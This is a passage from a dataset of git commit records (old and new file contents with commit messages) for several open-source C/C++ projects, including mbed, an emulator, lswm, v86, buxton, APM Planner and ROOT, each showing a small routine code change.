vector)\n{\n    \/\/ NOTE: On NANO130, relocating vector table is not supported due to just 16KB small SRAM.\n    \/\/       Add guard code to prevent from unsupported relocating.\n    uint32_t vector_static = NVIC_GetVector(IRQn);\n    if (vector_static != vector) {\n        error(\"No support for relocating vector table\");\n    }\n}\n\nuint32_t NVIC_GetVector(IRQn_Type IRQn)\n{\n    uint32_t *vectors = (uint32_t*) NVIC_FLASH_VECTOR_ADDRESS;\n\n    \/\/ Return the vector\n    return vectors[IRQn + 16];\n}\n","subject":"Add guard code to prevent from relocating vector table","message":"[NANO130] Add guard code to prevent from relocating vector table\n","lang":"C","license":"apache-2.0","repos":"kjbracey-arm\/mbed,svogl\/mbed-os,karsev\/mbed-os,ryankurte\/mbed-os,svogl\/mbed-os,CalSol\/mbed,infinnovation\/mbed-os,karsev\/mbed-os,betzw\/mbed-os,betzw\/mbed-os,catiedev\/mbed-os,HeadsUpDisplayInc\/mbed,andcor02\/mbed-os,c1728p9\/mbed-os,ryankurte\/mbed-os,catiedev\/mbed-os,svogl\/mbed-os,ryankurte\/mbed-os,mbedmicro\/mbed,catiedev\/mbed-os,nRFMesh\/mbed-os,andcor02\/mbed-os,karsev\/mbed-os,mbedmicro\/mbed,catiedev\/mbed-os,CalSol\/mbed,nRFMesh\/mbed-os,nRFMesh\/mbed-os,CalSol\/mbed,HeadsUpDisplayInc\/mbed,kjbracey-arm\/mbed,betzw\/mbed-os,c1728p9\/mbed-os,CalSol\/mbed,CalSol\/mbed,c1728p9\/mbed-os,infinnovation\/mbed-os,YarivCol\/mbed-os,svogl\/mbed-os,ryankurte\/mbed-os,Archcady\/mbed-os,mbedmicro\/mbed,Archcady\/mbed-os,nRFMesh\/mbed-os,YarivCol\/mbed-os,YarivCol\/mbed-os,mazimkhan\/mbed-os,catiedev\/mbed-os,c1728p9\/mbed-os,karsev\/mbed-os,svogl\/mbed-os,infinnovation\/mbed-os,mazimkhan\/mbed-os,nRFMesh\/mbed-os,HeadsUpDisplayInc\/mbed,infinnovation\/mbed-os,infinnovation\/mbed-os,Archcady\/mbed-os,HeadsUpDisplayInc\/mbed,mbedmicro\/mbed,YarivCol\/mbed-os,andcor02\/mbed-os,betzw\/mbed-os,kjbracey-arm\/mbed,mazimkhan\/mbed-os,mazimkhan\/mbed-os,YarivCol\/mbed-os,Archcady\/mbed-os,betzw\/mbed-os,Archcady\/mbed-os,andcor02\/mbed-os,HeadsUpDisplayInc\/mbed,catiedev\/mbed-os,svogl\/mbed-os,mbedmicro\/mbed,mazimkhan\/mbed-os,YarivCol\/mbed-os,kjbracey-arm\/mbed,andcor02\/mbed-os,HeadsUpDisplayInc\/mbed,Archcady\/mbed-os,ryankurte\/mbed-os,c1728p9\/mbed-os,mazimkhan\/mbed-os,andcor02\/mbed-os,karsev\/mbed-os,ryankurte\/mbed-os,betzw\/mbed-os,c1728p9\/mbed-os,karsev\/mbed-os,nRFMesh\/mbed-os,CalSol\/mbed,infinnovation\/mbed-os"}
{"commit":"a394a676b804449c2c939a26ee394a025f7c325c","old_file":"src\/cpu\/register.h","new_file":"src\/cpu\/register.h","old_contents":"#ifndef EMULATOR_REGISTER_H\n#define EMULATOR_REGISTER_H\n\n#include <cstdint>\n\ntemplate <typename T>\nclass Register {\npublic:\n    Register() {};\n\n    void set(const T new_value) { val = new_value; };\n    T value() const { return val; };\n\n    void increment() { val += 1; };\n    void decrement() { val -= 1; };\n\nprivate:\n    T val;\n};\n\ntypedef Register<uint8_t> ByteRegister;\ntypedef Register<uint16_t> WordRegister;\n\nclass RegisterPair {\npublic:\n    RegisterPair(ByteRegister& low, ByteRegister& high);\n\n    void set_low(const uint8_t byte);\n    void set_high(const uint8_t byte);\n\n    void set_low(const ByteRegister& byte);\n    void set_high(const ByteRegister& byte);\n\n    void set(const uint16_t word);\n\n    uint8_t low() const;\n    uint8_t high() const;\n\n    uint16_t value() const;\n\n    void increment();\n    void decrement();\n\nprivate:\n    ByteRegister& low_byte;\n    ByteRegister& high_byte;\n};\n\n#endif\n","new_contents":"#ifndef EMULATOR_REGISTER_H\n#define EMULATOR_REGISTER_H\n\n#include <cstdint>\n\ntemplate <typename T>\nclass Register {\npublic:\n    Register() {};\n\n    void set(const T new_value) { val = new_value; };\n    T value() const { return val; };\n\n    void increment() { val += 1; };\n    void decrement() { val -= 1; };\n\nprivate:\n    T val;\n};\n\ntypedef Register<uint8_t> ByteRegister;\ntypedef Register<uint16_t> WordRegister;\n\nclass RegisterPair {\npublic:\n    RegisterPair(ByteRegister& low, ByteRegister& high);\n\n    void set_low(const uint8_t byte);\n    void set_high(const uint8_t byte);\n\n    void set_low(const ByteRegister& byte);\n    void set_high(const ByteRegister& byte);\n\n    void set(const uint16_t word);\n\n    uint8_t low() const;\n    uint8_t high() const;\n\n    uint16_t value() const;\n\n    void increment();\n    void decrement();\n\nprivate:\n    ByteRegister& low_byte;\n    ByteRegister& high_byte;\n};\n\nclass Offset {\npublic:\n    Offset(uint8_t val) : val(val) {};\n    Offset(ByteRegister& reg) : val(reg.value()) {};\n\n    uint8_t value() { return val; }\n\nprivate:\n    uint8_t val;\n};\n\n#endif\n","subject":"Add the mini offset utility class","message":"Add the mini offset utility class\n","lang":"C","license":"bsd-3-clause","repos":"jgilchrist\/emulator,jgilchrist\/emulator,jgilchrist\/emulator"}
{"commit":"c02cabaab61367862776ad1d612161d4d623f7a0","old_file":"src\/DynamicMemory.h","new_file":"src\/DynamicMemory.h","old_contents":"\/\/\n\/\/ Created by James Telfer on 30\/07\/2017.\n\/\/\n\n#ifndef C_11_FEATURE_DEMO_DYNAMICMEMORY_H\n#define C_11_FEATURE_DEMO_DYNAMICMEMORY_H\n\n\n#include \"Thing.h\"\n\nclass DynamicMemory {\npublic:\n    DynamicMemory();\n    void uniquePointers();\n    void sharedPointers();\n    void makeShared();\nprivate:\n    void outputThing(const Thing* thing) const;\n    void outputSharedPtr(std::shared_ptr<Thing> thing) const;\n\n    std::unique_ptr<Thing> uniquePtrMember;\n    std::shared_ptr<Thing> sharedPtrMember;\n};\n\n\n#endif \/\/C_11_FEATURE_DEMO_DYNAMICMEMORY_H\n","new_contents":"\/\/\n\/\/ Created by James Telfer on 30\/07\/2017.\n\/\/\n\n#ifndef C_11_FEATURE_DEMO_DYNAMICMEMORY_H\n#define C_11_FEATURE_DEMO_DYNAMICMEMORY_H\n\n#include <memory>\n#include \"Thing.h\"\n\nclass DynamicMemory {\npublic:\n    DynamicMemory();\n    void uniquePointers();\n    void sharedPointers();\n    void makeShared();\nprivate:\n    void outputThing(const Thing* thing) const;\n    void outputSharedPtr(std::shared_ptr<Thing> thing) const;\n\n    std::unique_ptr<Thing> uniquePtrMember;\n    std::shared_ptr<Thing> sharedPtrMember;\n};\n\n\n#endif \/\/C_11_FEATURE_DEMO_DYNAMICMEMORY_H\n","subject":"Add header for smart pointers","message":"Add header for smart pointers\n","lang":"C","license":"apache-2.0","repos":"jameswtelfer\/c11_feature_demo"}
{"commit":"9217d50f561be24873e88f50b83cdaed111e2840","old_file":"wrapper-lib.c","new_file":"wrapper-lib.c","old_contents":"","new_contents":"\/*\n * Copyright (c) 2013 Thomas Adam <thomas@xteddy.org>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF MIND, USE, DATA OR PROFITS, WHETHER\n * IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING\n * OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n\/* Provides some wrappers around various syscalls to handle things like\n * memory\/error checking, etc.\n *\/\n\n#include <errno.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include \"lswm.h\"\n\n\/* Wrapper around asprintf() to handle error code returns. *\/\nint\nxasprintf(char **out, const char *fmt, ...)\n{\n\tva_list\t ap;\n\tint\t i;\n\n\tva_start(ap, fmt);\n\ti = asprintf(out, fmt, ap);\n\n\tif (i == -1) {\n\t\t\/* Then there were problems allocating memory. *\/\n\t\tlog_fatal(\"Couldn't allocate memory for asprintf()\");\n\t}\n\n\tva_end(ap);\n\n\treturn (i);\n}\n\n\/* Wrapper for malloc() to handle memory *\/\nvoid *\nxmalloc(size_t s)\n{\n\tvoid\t*mem;\n\n\tif (s == 0)\n\t\tlog_fatal(\"Cannot pass zero size to malloc()\");\n\n\tif ((mem = malloc(s)) == NULL)\n\t\tlog_fatal(\"malloc() returned NULL\");\n\n\treturn (mem);\n}\n","subject":"Add a wrapper lib for common functions","message":"Add a wrapper lib for common functions\n\nCertain functions such as malloc\/realloc\/asprintf need special handling for\ntheir errors, often erroring out or providing the same error message, etc.\n\nThis therefore introduces such a wrapper.  Not used too much at the moment.\n","lang":"C","license":"bsd-2-clause","repos":"ThomasAdam\/lswm"}
{"commit":"3f627077a9f2a5fd13234c208525aa61f645ae94","old_file":"lesson10\/app\/src\/main\/jni\/GLES2Lesson.h","new_file":"lesson10\/app\/src\/main\/jni\/GLES2Lesson.h","old_contents":"\/\/\n\/\/ Created by monty on 23\/11\/15.\n\/\/\n\n#ifndef LESSON02_GLES2LESSON_H\n#define LESSON02_GLES2LESSON_H\n\nnamespace odb {\n\n    class GLES2Lesson {\n\n        void fetchShaderLocations();\n\n        void setPerspective();\n\n        void prepareShaderProgram();\n\n        void clearBuffers();\n\n        void resetTransformMatrices();\n\n        void printVerboseDriverInformation();\n\n        GLuint createProgram(const char *pVertexSource, const char *pFragmentSource);\n\n        GLuint loadShader(GLenum shaderType, const char *pSource);\n\n        void drawTrig(Trig &trig, const glm::mat4 &transform);\n\n        glm::mat4 projectionMatrix;\n        glm::mat4 viewMatrix;\n\n        GLuint vertexAttributePosition;\n        GLuint modelMatrixAttributePosition;\n        GLuint viewMatrixAttributePosition;\n        GLuint samplerUniformPosition;\n        GLuint textureCoordinatesAttributePosition;\n        GLuint projectionMatrixAttributePosition;\n        GLuint gProgram;\n\n        GLuint textureId;\n\n        int *textureData;\n        int textureWidth;\n        int textureHeight;\n        std::vector<Trig> mTrigs;\n        glm::vec3 camera;\n    public:\n        GLES2Lesson();\n\n        ~GLES2Lesson();\n\n        bool init(float w, float h, const std::string &vertexShader,\n                  const std::string &fragmentShader);\n\n        void setTexture(int *bitmapData, int width, int height, int format);\n\n        void render();\n\n        void shutdown();\n\n        void tick();\n\n        void reset();\n\n        void addTrigs(std::vector<Trig> vector);\n    };\n}\n#endif \/\/LESSON02_GLES2LESSON_H\n","new_contents":"\/\/\n\/\/ Created by monty on 23\/11\/15.\n\/\/\n\n#ifndef LESSON02_GLES2LESSON_H\n#define LESSON02_GLES2LESSON_H\n\nnamespace odb {\n\n    class GLES2Lesson {\n\n        void fetchShaderLocations();\n\n        void setPerspective();\n\n        void prepareShaderProgram();\n\n        void clearBuffers();\n\n        void resetTransformMatrices();\n\n        void printVerboseDriverInformation();\n\n        GLuint createProgram(const char *pVertexSource, const char *pFragmentSource);\n\n        GLuint loadShader(GLenum shaderType, const char *pSource);\n\n        void drawTrig(Trig &trig, const glm::mat4 &transform);\n\n        glm::mat4 projectionMatrix;\n        glm::mat4 viewMatrix;\n\n        GLuint vertexAttributePosition;\n        GLuint modelMatrixAttributePosition;\n        GLuint viewMatrixAttributePosition;\n        GLuint samplerUniformPosition;\n        GLuint textureCoordinatesAttributePosition;\n        GLuint projectionMatrixAttributePosition;\n        GLuint gProgram;\n\n        GLuint textureId;\n\n        int *textureData;\n        int textureWidth;\n        int textureHeight;\n        std::vector<Trig> mTrigs;\n        glm::vec3 camera;\n\n\n    public:\n        explicit GLES2Lesson();\n\n        ~GLES2Lesson();\n\n        bool init(float w, float h, const std::string &vertexShader,\n                  const std::string &fragmentShader);\n\n        void setTexture(int *bitmapData, int width, int height, int format);\n\n        void render();\n\n        void shutdown();\n\n        void tick();\n\n        void reset();\n\n        void addTrigs(std::vector<Trig> vector);\n    };\n}\n#endif \/\/LESSON02_GLES2LESSON_H\n","subject":"Make the constructor for the Lesson 10 explicit","message":"Make the constructor for the Lesson 10 explicit\n\nWhile this has little effect here, it's a good practice worth getting\nused to. I still have to do the same with all the other classes.\n","lang":"C","license":"bsd-2-clause","repos":"TheFakeMontyOnTheRun\/nehe-ndk-gles20,TheFakeMontyOnTheRun\/nehe-ndk-gles20,TheFakeMontyOnTheRun\/nehe-ndk-gles20"}
{"commit":"346e095d25d70cd81ece89e08a241b4f77ab9582","old_file":"src\/file\/keydb.h","new_file":"src\/file\/keydb.h","old_contents":"\n\/* encrypted keys *\/\n\nstatic const uint32_t internal_device_number = 0;\n\nstatic const uint8_t internal_dk_list[][21] = {\n  {\n  },\n};\n\nstatic const uint8_t internal_pk_list[][16] = {\n  {\n  },\n};\n\nstatic const uint8_t internal_hc_list[][112] = {\n  {\n  },\n};\n\n\/* customize this function to \"hide\" the keys in the binary *\/\n\nstatic void decrypt_key(uint8_t *out, const uint8_t *in, size_t size)\n{\n    memcpy(out, in, size);\n}\n","new_contents":"\n\/* encrypted keys *\/\n\nstatic const uint32_t internal_device_number = 0;\n\nstatic const uint8_t internal_dk_list[][21] = {\n  { 0 },\n};\n\nstatic const uint8_t internal_pk_list[][16] = {\n  { 0 },\n};\n\nstatic const uint8_t internal_hc_list[][112] = {\n  { 0 },\n};\n\n\/* customize this function to \"hide\" the keys in the binary *\/\n\nstatic void decrypt_key(uint8_t *out, const uint8_t *in, size_t size)\n{\n    memcpy(out, in, size);\n}\n","subject":"Fix MSVC error C2133 : unknown size of multi-dimensional static const arrays (despite supposed support of C99). Have not confirmed if this breaks anything yet.","message":"Fix MSVC error C2133 : unknown size of multi-dimensional static const arrays (despite supposed support of C99). Have not confirmed if this breaks anything yet.\n","lang":"C","license":"lgpl-2.1","repos":"mwgoldsmith\/aacs,mwgoldsmith\/aacs"}
{"commit":"5d6e6d2e8f0edf69301bddd76ae3e0f651d037f1","old_file":"src\/native\/log.h","new_file":"src\/native\/log.h","old_contents":"#include <assert.h>\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n\n#include \"const.h\"\n\nextern void logop(int32_t, int32_t);\nextern void dbg_trace(void);\n\n#define dbg_log(...) { if(DEBUG) { printf(__VA_ARGS__); } }\n#define dbg_assert(condition) { if(DEBUG) { if(!(condition)) dbg_log(#condition); assert(condition); } }\n#define dbg_assert_message(condition, message) { if(DEBUG && !(condition)) { dbg_log(message); assert(false); } }\n","new_contents":"#include <assert.h>\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n\n#include \"const.h\"\n\nextern void logop(int32_t, int32_t);\nextern void dbg_trace(void);\n\n#define dbg_log(...) { if(DEBUG) { printf(__VA_ARGS__); } }\n#define dbg_trace(...) { if(DEBUG) { dbg_trace(__VA_ARGS__); } }\n#define dbg_assert(condition) { if(DEBUG) { if(!(condition)) dbg_log(#condition); assert(condition); } }\n#define dbg_assert_message(condition, message) { if(DEBUG && !(condition)) { dbg_log(message); assert(false); } }\n","subject":"Remove dbg_trace from non-debug builds","message":"Remove dbg_trace from non-debug builds\n","lang":"C","license":"bsd-2-clause","repos":"copy\/v86,copy\/v86,copy\/v86,copy\/v86,copy\/v86,copy\/v86,copy\/v86"}
{"commit":"57f0cb6232cef023a352bd120a328c520da9f211","old_file":"test2\/inline\/static_local.c","new_file":"test2\/inline\/static_local.c","old_contents":"\/\/ RUN: %check %s\n\n\/\/ extern\nextern inline int f()\n{\n\tstatic int i;\n\treturn i++;\n}\n\n\/\/ static\nstatic inline int h()\n{\n\tstatic int i;\n\treturn i++;\n}\n\n\/\/ neither\ninline int g()\n{\n\tstatic int i; \/\/ CHECK: warning: static variable in pure-inline function - may differ per file\n\treturn i++;\n}\n\n\/\/ neither, but const\ninline int g2()\n{\n\tstatic const int i = 3; \/\/ CHECK: !\/warn\/\n\treturn i;\n}\n\nmain()\n{\n\treturn f() + g() + h();\n}\n","new_contents":"\/\/ RUN: %check %s\n\n\/\/ extern\nextern inline int f()\n{\n\tstatic int i;\n\treturn i++;\n}\n\n\/\/ static\nstatic inline int h()\n{\n\tstatic int i;\n\treturn i++;\n}\n\n\/\/ neither\ninline int g()\n{\n\tstatic int i; \/\/ CHECK: warning: mutable static variable in pure-inline function - may differ per file\n\treturn i++;\n}\n\n\/\/ neither, but const\ninline int g2()\n{\n\tstatic const int i = 3; \/\/ CHECK: !\/warn\/\n\treturn i;\n}\n\nmain()\n{\n\treturn f() + g() + h();\n}\n","subject":"Fix inline static local warning","message":"Fix inline static local warning\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"b05adaf03b8889da09568b8cf9f1f93d90445f30","old_file":"src\/shared\/log.h","new_file":"src\/shared\/log.h","old_contents":"\/*\n * This file is part of buxton.\n *\n * Copyright (C) 2013 Intel Corporation\n *\n * buxton is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1\n * of the License, or (at your option) any later version.\n *\/\n\n#pragma once\n\n#ifdef HAVE_CONFIG_H\n    #include \"config.h\"\n#endif\n\n#ifdef DEBUG\n#define buxton_debug(...) buxton_log(__VA_ARGS__)\n#else\n#define buxton_debug(...) do {} while(0);\n#endif \/* DEBUG *\/\n\nvoid buxton_log(const char *fmt, ...);\n\n\/*\n * Editor modelines  -  http:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: t\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 noexpandtab:\n * :indentSize=8:tabSize=8:noTabs=false:\n *\/\n","new_contents":"\/*\n * This file is part of buxton.\n *\n * Copyright (C) 2013 Intel Corporation\n *\n * buxton is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1\n * of the License, or (at your option) any later version.\n *\/\n\n#pragma once\n\n#ifdef HAVE_CONFIG_H\n    #include \"config.h\"\n#endif\n\n#ifdef DEBUG\n#define buxton_debug(...) do { \\\n\tbuxton_log(\"%s():[%d]: %s\",  __func__, __LINE__ , __VA_ARGS__); \\\n} while(0);\n#else\n#define buxton_debug(...) do {} while(0);\n#endif \/* DEBUG *\/\n\nvoid buxton_log(const char *fmt, ...);\n\n\/*\n * Editor modelines  -  http:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: t\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 noexpandtab:\n * :indentSize=8:tabSize=8:noTabs=false:\n *\/\n","subject":"Add line and function details to buxton_debug()","message":"Add line and function details to buxton_debug()\n","lang":"C","license":"lgpl-2.1","repos":"sofar\/buxton,sofar\/buxton"}
{"commit":"40cb4828db633619fe71b721fa6440d26e0347bc","old_file":"src\/configuration.h","new_file":"src\/configuration.h","old_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 9\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n#define QGC_APPLICATION_NAME \"APM Planner\"\n#define QGC_APPLICATION_VERSION \"v2.0.0 (beta)\"\n\nnamespace QGC\n\n{\nconst QString APPNAME = \"APMPLANNER\";\nconst QString COMPANYNAME = \"3DROBOTICS\";\nconst int APPLICATIONVERSION = 200; \/\/ 1.0.9\n}\n\n#endif \/\/ QGC_CONFIGURATION_H\n","new_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 9\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n#define QGC_APPLICATION_NAME \"APM Planner\"\n#define QGC_APPLICATION_VERSION \"v2.0.0 (beta)\"\n\nnamespace QGC\n\n{\nconst QString APPNAME = \"APMPLANNER2\";\nconst QString COMPANYNAME = \"DIYDRONES\";\nconst int APPLICATIONVERSION = 200; \/\/ 1.0.9\n}\n\n#endif \/\/ QGC_CONFIGURATION_H\n","subject":"Change from 3drobotics to diydrones for COMPANYNAME","message":"Change from 3drobotics to diydrones for COMPANYNAME\n","lang":"C","license":"agpl-3.0","repos":"hejunbok\/apm_planner,sutherlandm\/apm_planner,LIKAIMO\/apm_planner,sutherlandm\/apm_planner,mirkix\/apm_planner,abcdelf\/apm_planner,xros\/apm_planner,kellyschrock\/apm_planner,kellyschrock\/apm_planner,kellyschrock\/apm_planner,kellyschrock\/apm_planner,mirkix\/apm_planner,diydrones\/apm_planner,LittleBun\/apm_planner,labtoast\/apm_planner,LittleBun\/apm_planner,gpaes\/apm_planner,381426068\/apm_planner,chen0510566\/apm_planner,chen0510566\/apm_planner,mrpilot2\/apm_planner,abcdelf\/apm_planner,gpaes\/apm_planner,kellyschrock\/apm_planner,abcdelf\/apm_planner,xros\/apm_planner,LittleBun\/apm_planner,abcdelf\/apm_planner,mirkix\/apm_planner,LIKAIMO\/apm_planner,xros\/apm_planner,labtoast\/apm_planner,gpaes\/apm_planner,dcarpy\/apm_planner,diydrones\/apm_planner,mrpilot2\/apm_planner,381426068\/apm_planner,Icenowy\/apm_planner,mirkix\/apm_planner,LIKAIMO\/apm_planner,WorkerBees\/apm_planner,duststorm\/apm_planner,abcdelf\/apm_planner,duststorm\/apm_planner,duststorm\/apm_planner,sutherlandm\/apm_planner,diydrones\/apm_planner,dcarpy\/apm_planner,LittleBun\/apm_planner,labtoast\/apm_planner,381426068\/apm_planner,Icenowy\/apm_planner,sutherlandm\/apm_planner,chen0510566\/apm_planner,duststorm\/apm_planner,381426068\/apm_planner,mrpilot2\/apm_planner,hejunbok\/apm_planner,LIKAIMO\/apm_planner,chen0510566\/apm_planner,Icenowy\/apm_planner,kellyschrock\/apm_planner,hejunbok\/apm_planner,Icenowy\/apm_planner,dcarpy\/apm_planner,LittleBun\/apm_planner,diydrones\/apm_planner,dcarpy\/apm_planner,sutherlandm\/apm_planner,labtoast\/apm_planner,mrpilot2\/apm_planner,chen0510566\/apm_planner,WorkerBees\/apm_planner,hejunbok\/apm_planner,duststorm\/apm_planner,gpaes\/apm_planner,381426068\/apm_planner,xros\/apm_planner,mirkix\/apm_planner,hejunbok\/apm_planner,WorkerBees\/apm_planner,diydrones\/apm_planner,mirkix\/apm_planner,labtoast\/apm_planner,mrpilot2\/apm_planner,LIKAIMO\/apm_planner,chen0510566\/apm_planner,gpaes\/apm_planner,abcdelf\/apm_planner,Icenowy\/apm_planner,dcarpy\/apm_planner,381426068\/apm_planner,hejunbok\/apm_planner,sutherlandm\/apm_planner,diydrones\/apm_planner,mrpilot2\/apm_planner,gpaes\/apm_planner,LIKAIMO\/apm_planner,xros\/apm_planner,xros\/apm_planner,Icenowy\/apm_planner,LittleBun\/apm_planner,duststorm\/apm_planner,labtoast\/apm_planner,dcarpy\/apm_planner,WorkerBees\/apm_planner"}
{"commit":"8c968d0d3bcd83c42b056b290aae5aba9d229c1d","old_file":"test\/periodic\/NdbRadioMult.h","new_file":"test\/periodic\/NdbRadioMult.h","old_contents":"#ifndef RADIOMULT_H\n#define RADIOMULT_H\n\n#include \"NdbMF.h\"\n\n\/* ========= NdbRadioMult ============ *\/\nclass NdbRad  ioMult : public NdbMF\n{\nprotected:\n\npublic:\n   NdbRadioMult()\n      : NdbMF(9, \"Multiplicities for radioactive nuclide production\") {}\n   ~NdbRadioMult() {}\n\n   ClassDef(NdbRadioMult,1)\n}; \/\/ NdbRadioMult\n\n#endif\n","new_contents":"#ifndef RADIOMULT_H\n#define RADIOMULT_H\n\n#include \"NdbMF.h\"\n\n\/* ========= NdbRadioMult ============ *\/\nclass NdbRadioMult : public NdbMF\n{\nprotected:\n\npublic:\n   NdbRadioMult()\n      : NdbMF(9, \"Multiplicities for radioactive nuclide production\") {}\n   ~NdbRadioMult() {}\n\n   ClassDef(NdbRadioMult,1)\n}; \/\/ NdbRadioMult\n\n#endif\n","subject":"Fix typo in tab removal","message":"Fix typo in tab removal\n","lang":"C","license":"lgpl-2.1","repos":"CristinaCristescu\/root,dfunke\/root,abhinavmoudgil95\/root,beniz\/root,abhinavmoudgil95\/root,jrtomps\/root,zzxuanyuan\/root,mhuwiler\/rootauto,nilqed\/root,0x0all\/ROOT,pspe\/root,buuck\/root,gbitzes\/root,esakellari\/root,BerserkerTroll\/root,abhinavmoudgil95\/root,mkret2\/root,satyarth934\/root,omazapa\/root,CristinaCristescu\/root,mattkretz\/root,zzxuanyuan\/root-compressor-dummy,Y--\/root,zzxuanyuan\/root,pspe\/root,bbockelm\/root,mkret2\/root,pspe\/root,pspe\/root,olifre\/root,buuck\/root,Y--\/root,bbockelm\/root,mhuwiler\/rootauto,root-mirror\/root,dfunke\/root,simonpf\/root,CristinaCristescu\/root,jrtomps\/root,simonpf\/root,omazapa\/root-old,mattkretz\/root,Y--\/root,perovic\/root,olifre\/root,CristinaCristescu\/root,pspe\/root,esakellari\/my_root_for_test,zzxuanyuan\/root,pspe\/root,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,evgeny-boger\/root,jrtomps\/root,sbinet\/cxx-root,davidlt\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,Duraznos\/root,root-mirror\/root,nilqed\/root,satyarth934\/root,olifre\/root,lgiommi\/root,sawenzel\/root,mkret2\/root,jrtomps\/root,karies\/root,davidlt\/root,evgeny-boger\/root,georgtroska\/root,karies\/root,simonpf\/root,karies\/root,davidlt\/root,jrtomps\/root,agarciamontoro\/root,veprbl\/root,esakellari\/root,krafczyk\/root,bbockelm\/root,Y--\/root,gganis\/root,krafczyk\/root,georgtroska\/root,krafczyk\/root,vukasinmilosevic\/root,smarinac\/root,pspe\/root,sawenzel\/root,lgiommi\/root,zzxuanyuan\/root,thomaskeck\/root,arch1tect0r\/root,nilqed\/root,satyarth934\/root,jrtomps\/root,0x0all\/ROOT,dfunke\/root,vukasinmilosevic\/root,veprbl\/root,perovic\/root,lgiommi\/root,omazapa\/root-old,satyarth934\/root,arch1tect0r\/root,evgeny-boger\/root,gbitzes\/root,sawenzel\/root,nilqed\/root,simonpf\/root,Y--\/root,arch1tect0r\/root,sawenzel\/root,buuck\/root,thomaskeck\/root,smarinac\/root,omazapa\/root-old,perovic\/root,gganis\/root,agarciamontoro\/root,bbockelm\/root,esakellari\/my_root_for_test,beniz\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,georgtroska\/root,CristinaCristescu\/root,omazapa\/root,sbinet\/cxx-root,mattkretz\/root,esakellari\/my_root_for_test,mkret2\/root,vukasinmilosevic\/root,Y--\/root,sawenzel\/root,mhuwiler\/rootauto,pspe\/root,CristinaCristescu\/root,karies\/root,sirinath\/root,jrtomps\/root,gbitzes\/root,mhuwiler\/rootauto,sirinath\/root,agarciamontoro\/root,georgtroska\/root,olifre\/root,abhinavmoudgil95\/root,zzxuanyuan\/root,veprbl\/root,abhinavmoudgil95\/root,sawenzel\/root,gbitzes\/root,veprbl\/root,evgeny-boger\/root,root-mirror\/root,sirinath\/root,esakellari\/my_root_for_test,perovic\/root,gganis\/root,simonpf\/root,omazapa\/root,arch1tect0r\/root,olifre\/root,omazapa\/root-old,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,georgtroska\/root,zzxuanyuan\/root,Y--\/root,veprbl\/root,lgiommi\/root,satyarth934\/root,buuck\/root,simonpf\/root,davidlt\/root,pspe\/root,perovic\/root,thomaskeck\/root,karies\/root,omazapa\/root,krafczyk\/root,mattkretz\/root,CristinaCristescu\/root,BerserkerTroll\/root,olifre\/root,beniz\/root,olifre\/root,Y--\/root,smarinac\/root,krafczyk\/root,jrtomps\/root,sbinet\/cxx-root,mattkretz\/root,davidlt\/root,dfunke\/root,gganis\/root,lgiommi\/root,thomaskeck\/root,krafczyk\/root,mhuwiler\/rootauto,Duraznos\/root,gbitzes\/root,dfunke\/root,vukasinmilosevic\/root,evgeny-boger\/root,satyarth934\/root,gganis\/root,mhuwiler\/rootauto,perovic\/root,thomaskeck\/root,thomaskeck\/root,agarciamontoro\/root,esakellari\/root,evgeny-boger\/root,davidlt\/root,karies\/root,beniz\/root,mattkretz\/root,dfunke\/root,sirinath\/root,vukasinmilosevic\/root,0x0all\/ROOT,zzxuanyuan\/root,evgeny-boger\/root,smarinac\/root,vukasinmilosevic\/root,esakellari\/root,Duraznos\/root,sbinet\/cxx-root,CristinaCristescu\/root,dfunke\/root,sirinath\/root,olifre\/root,CristinaCristescu\/root,omazapa\/root-old,CristinaCristescu\/root,mhuwiler\/rootauto,smarinac\/root,mhuwiler\/rootauto,zzxuanyuan\/root,abhinavmoudgil95\/root,mkret2\/root,esakellari\/my_root_for_test,arch1tect0r\/root,evgeny-boger\/root,gbitzes\/root,lgiommi\/root,evgeny-boger\/root,root-mirror\/root,Duraznos\/root,agarciamontoro\/root,mkr